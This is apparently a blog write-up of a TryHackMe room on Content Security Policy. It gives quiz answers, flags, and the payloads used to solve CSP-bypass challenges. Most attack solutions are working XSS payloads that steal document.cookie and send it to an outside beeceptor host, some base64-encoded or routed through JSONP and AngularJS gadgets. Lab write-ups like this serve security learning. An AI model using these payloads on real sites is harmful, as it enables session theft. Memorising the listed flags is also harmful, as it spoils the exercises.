Home Content Security Policy
Post
Cancel

Content Security Policy

In this room you’ll learn what CSP is, what it’s used for and how to recognize vulnerabilities in a CSP header.

THM Room https://tryhackme.com/room/csp

TASK 1 : Introduction

What does CSP stand for?

Answer : Content Security Policy

CSP is designed to add an additional layer of protection against the exploitation of what vulnerability?

Answer : XSS

In which part of the HTTP response does the server usually send the policy to the client?

Answer : header

TASK 2 : Directives

Which directive can we use to restrict the loading of scripts on our website?

Answer : script-src

Which directive can we use to restrict the loading of videos on our website?

Answer : media-src

If we want to log CSP violations, which directive do we need to set to have the browser report violations to us?

Answer : report-uri

TASK 3 : Sources

If we want to allow script execution via functions such as eval() from already trusted scripts, what source should we allow in our script-src directive?

Answer : ‘unsafe-eval’

What directive-source combination should we add to our policy if we want to specifically block all JavaScript content from running on our website?

Answer : script-src ‘none’

TASK 4 : Creating a Content Security Policy

What hashing algorithm can you use to verify the scripts being loaded? (Without the numbers)

Answer : SHA

Can you include the URLs of the permitted scripts directly in your security policy? (Yes / No)

Answer : Yes

TASK 5 : Bypassing a Content Security Policy

If Ajax/XHR requests are blocked, can we still exfiltrate sensitive information? (Yes / No)

Answer : Yes

TASK 6 : CSP Sandbox

I have deployed the CSP Sandbox machine.

No Answer.

TASK 7 : CSP Sandbox :: Attack challenges

Flag for attack-1

First, set up a http request receptor : https://beeceptor.com/console/csptest URL to exfiltrate de data.

Then use https://csp-evaluator.withgoogle.com/ to get the CSP’s with the IP

The CSP from CSP evaluator :

1
2
default-src * 
'unsafe-inline';

I tried

1
<script>alert(1)</script>

and it works. Then,

1
<BODY ONLOAD=fetch(`https://csptest.free.beeceptor.com/${document.cookie}`)>

But it was not working. I changed my script tag by loading a crafted image calling the exfiltration URL adding the cookies :

1
<script>new Image().src="https://csptest.free.beeceptor.com?c="+document.cookie;</script>

On beeceptor :

1
GET /?c=flag=THM{Th4t_W4s_Pr3tty_3asy}

Answer : THM{Th4t_W4s_Pr3tty_3asy}

Flag for attack-2

For the second question, the CSP was :

1
2
3
default-src *;
style-src 'self';
script-src data:  

I tried a default xss working attack :

1
<script src="data:application/javascript,alert(1)"></script>

Then encoded in base64 the fetch call :

1
2
3
4
5
fetch('https://csptest.free.beeceptor.com/${document.cookie}')

ZmV0Y2goJ2h0dHBzOi8vY3NwdGVzdC5mcmVlLmJlZWNlcHRvci5jb20vJHtkb2N1bWVudC5jb29raWV9Jyk=

<script src="data:;base64,ZmV0Y2goImh0dHBzOi8vY3NwdGVzdC5mcmVlLmJlZWNlcHRvci5jb20vJHtkb2N1bWVudC5jb29raWV9Iik="></script>

This give me the flag :

1
/flag=THM%7BUs1ng_data:_1snt_Any_S4fer%7D

Answer : THM{Us1ng_data:_1snt_Any_S4fer}

Flag for attack-3

I got the CSP :

1
2
3
4
default-src 'none';
img-src *;
style-src 'self';
script-src 'unsafe-inline'

I tried :

1
"/><script>alert(1337);</script>

This one worked, i could then crafted the following XSS :

1
2
3
<script>new Image().src="https://csptest.free.beeceptor.com?c="+document.cookie;</script>

/?c=flag=THM{Th4ts_N0t_4n_1m4ge!!}

Answer : THM{Th4ts_N0t_4n_1m4ge!!}

Flag for attack-4

CSP :

1
2
3
4
5
default-src 'none';
style-src * 'self';
script-src 'nonce-abcdef'

"/><script nonce="abcdef">alert(1337);</script>

Works beacuse nonce-abcdef allows for scripts

Then with the extraction of cookies :

1
2
3
<link id="test" rel=stylesheet href="" /><script nonce="abcdef">document.getElementById('test').href="https://csptest.free.beeceptor.com/" + document.cookie;</script>  

/flag=THM%7BStyle_Y0ur_W3bs1teS%7D 

Answer : THM{Style_Y0ur_W3bs1teS}

Flag for attack-5

CSP :

1
2
3
4
default-src 'none';
style-src 'self';
img-src *;
script-src 'unsafe-eval' *.google.com

I checked the explanations :

1
2
3
4
5
6
7
8
script-src
Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.

'unsafe-eval'
'unsafe-eval' allows the execution of code injected into DOM APIs such as eval().

error *.google.com
www.google.com is known to host JSONP endpoints which allow to bypass this CSP.

From this, i google JSONP and found a JSONP.txt interesting file on github :

https://github.com/zigoo0/JSONBee in jsonp.txt

With those example, i crafted my script tag XSS :

1
2
3
<script src="//accounts.google.com/o/oauth2/revoke?callback=eval(document.location='https://csptest.free.beeceptor.com/'.concat(document.cookie))"></script> 

/flag=THM%7BN0_JSONP_D0mains_Plz%7D  

Answer : THM{N0_JSONP_D0mains_Plz}

Flag for attack-6

CSP :

1
2
3
4
default-src 'none';
img-src *;
style-src 'self';
script-src 'unsafe-eval' cdnjs.cloudflare.com

Searching for cdn cloudflare csp bypass : https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

It’s base64 encoded because of rendering error in the framework I use :

1
PHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL3Byb3RvdHlwZS8xLjcuMi9wcm90b3R5cGUuanMiPjwvc2NyaXB0PgogCjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9hbmd1bGFyLmpzLzEuMC44L2FuZ3VsYXIuanMiIC8+PC9zY3JpcHQ+CiA8ZGl2IG5nLWFwcCBuZy1jc3A+CiAge3sgeCA9ICRvbi5jdXJyeS5jYWxsKCkuZXZhbCgiZmV0Y2goJ2h0dHA6Ly9sb2NhbGhvc3QvaW5kZXgucGhwJykudGhlbihkID0+IHt9KSIpIH19CiA8L2Rpdj4KIAoiPjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FuZ3VsYXIubWluLmpzIj48L3NjcmlwdD4gPGRpdiBuZy1hcHAgbmctY3NwPnt7JGV2YWwuY29uc3RydWN0b3IoJ2FsZXJ0KDEpJykoKX19PC9kaXY+CgoiPjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FuZ3VsYXJqcy8xLjEuMy9hbmd1bGFyLm1pbi5qcyI+IDwvc2NyaXB0Pgo8ZGl2IG5nLWFwcCBuZy1jc3AgaWQ9cCBuZy1jbGljaz0kZXZlbnQudmlldy5hbGVydCgxMzM3KT4=

I tried console.log(1) call :

It’s base64 encoded because of rendering error in the framework I use :

1
PHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FuZ3VsYXIuanMvMS40LjYvYW5ndWxhci5qcyI+PC9zY3JpcHQ+CjxkaXYgbmctYXBwPiB7eydhJy5jb25zdHJ1Y3Rvci5wcm90b3R5cGUuY2hhckF0PVtdLmpvaW47JGV2YWwoJ3g9MX0gfSB9O2NvbnNvbGUubG9nKDEpOy8vJyk7fX0gPC9kaXY+

It works, i follow then with the cookie exfiltration ;

It’s base64 encoded because of rendering error in the framework I use :

1
2
3
PHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2FuZ3VsYXIuanMvMS40LjYvYW5ndWxhci5qcyI+PC9zY3JpcHQ+CjxkaXYgbmctYXBwPiB7eydhJy5jb25zdHJ1Y3Rvci5wcm90b3R5cGUuY2hhckF0PVtdLmpvaW47JGV2YWwoJ3g9MX0gfSB9O2RvY3VtZW50LmxvY2F0aW9uPSJodHRwczovL2NzcHRlc3QuZnJlZS5iZWVjZXB0b3IuY29tLyIuY29uY2F0KGRvY3VtZW50LmNvb2tpZSk7Ly8nKTt9fSA8L2Rpdj4KCg==

/flag=THM%7BTrust_N0_CDN%7D 

Answer : THM{Trust_N0_CDN}

Flag for attack-7

CSP :

1
2
3
4
default-src 'none';
media-src *;
style-src 'self';
script-src 'self'

XSS script :

1
2
3
<script src="/'; new Audio('https://csptest.free.beeceptor.com/' + document.cookie); '"></script>

/flag=THM%7BTh1s_4udio_S0unds_N1ce%7D

Answer : THM{Th1s_4udio_S0unds_N1ce}

TASK 8 : CSP Sandbox :: Defend challenges

CSP :

1
script-src 'self'

You have successfully defended the server against attackers! Here’s your reward: THM{N0_0utside_S0urces}

Answer : THM{N0_0utside_S0urces}

What is the flag for defend-2?

CSP :

1
script-src 'nonce-ae3b00'

You have successfully defended the server against attackers! Here’s your reward: THM{M4k3_Sure_Y0ur_N0nce_1s_R4ndom}

Answer : THM{M4k3_Sure_Y0ur_N0nce_1s_R4ndom}

What is the flag for defend-3?

Using https://report-uri.com/home/hash for the hash of the script : console.log(“__defend-3_REAL=true”)

CSP :

1
script-src 'sha256-8gQ3l0jVGr5ZXaOeym+1jciekP8wsfNgpZImdHthDRo='

You have successfully defended the server against attackers! Here’s your reward: THM{Hash_Y0ur_1nl1ne_Scr1pts}

Answer : THM{Hash_Y0ur_1nl1ne_Scr1pts}

This post is licensed under CC BY 4.0 by the author.